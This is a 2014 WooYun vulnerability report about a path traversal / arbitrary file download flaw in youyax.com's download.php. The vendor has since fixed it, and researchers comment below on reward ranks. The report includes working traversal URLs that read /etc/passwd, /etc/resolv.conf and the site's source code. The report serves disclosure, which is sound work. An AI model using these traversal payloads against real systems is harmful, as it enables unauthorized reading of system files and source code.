当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061839

漏洞标题：YouYaX主站任意文件下载漏洞

相关厂商：youyax.com

漏洞作者： chopper

提交时间：2014-05-22 11:08

修复时间：2014-05-25 19:36

公开时间：2014-05-25 19:36

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-22： 细节已通知厂商并且等待厂商处理中
2014-05-22： 厂商已经确认，细节仅向厂商公开
2014-05-25： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

YouYaX主站任意文件下载

详细说明：

YouYax主站存在任意文件遍历/下载漏洞，可跨目录
页面：
www.youyax.com/download.php
参数：name
构造类似以下链接，可以下载任意系统文件，网站程序源代码等等
www.youyax.com/download.php?name=../../../../../../../../../../etc/passwd

etc_passwd.png


www.youyax.com/download.php?name=../../../../../../../../../../etc/resolv.conf

dns.png


www.youyax.com/download.php?name=../index.php

index.php.png

漏洞证明：

如上

修复方案：

正确过滤相应参数

版权声明：转载请注明来源 chopper@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-05-22 22:50

厂商回复：

多谢善意的提醒，给个大大的分数，`(*∩_∩*)′

最新状态：

2014-05-25：欢迎白帽子们来做论坛测试

漏洞评价：

评论

  1. 2014-05-26 14:21 | 计算姬 ( 普通白帽子 | Rank:398 漏洞数:90 | 看我看我看我啊)

    @chopper @YouYax 这是走大厂商还是小厂商？

  2. 2014-05-26 17:05 | chopper ( 普通白帽子 | Rank:144 漏洞数:29 | 菜鸟求学，多多关照~)

    @计算姬 我也不懂啊，厂商给我20，我实际只拿4rank，==

  3. 2014-05-26 17:07 | 计算姬 ( 普通白帽子 | Rank:398 漏洞数:90 | 看我看我看我啊)

    @chopper 哦哦，那就是小厂商了。只能拿1/5了，这样我有点不开心了，不想提交严重漏洞了。@YouYax

  4. 2014-05-26 17:09 | chopper ( 普通白帽子 | Rank:144 漏洞数:29 | 菜鸟求学，多多关照~)

    @计算姬 我是看@YouYax 刚给上个发了礼物呢，==，求礼物就好了~

  5. 2014-05-26 17:15 | 计算姬 ( 普通白帽子 | Rank:398 漏洞数:90 | 看我看我看我啊)

    @chopper 嗯吧，看你发啥了

  6. 2014-05-26 17:17 | chopper ( 普通白帽子 | Rank:144 漏洞数:29 | 菜鸟求学，多多关照~)

    @计算姬 没向我要联系方式呢，悲剧。。

  7. 2014-05-26 17:19 | 计算姬 ( 普通白帽子 | Rank:398 漏洞数:90 | 看我看我看我啊)

    @chopper 哈哈，等你消息，目测要杯具哦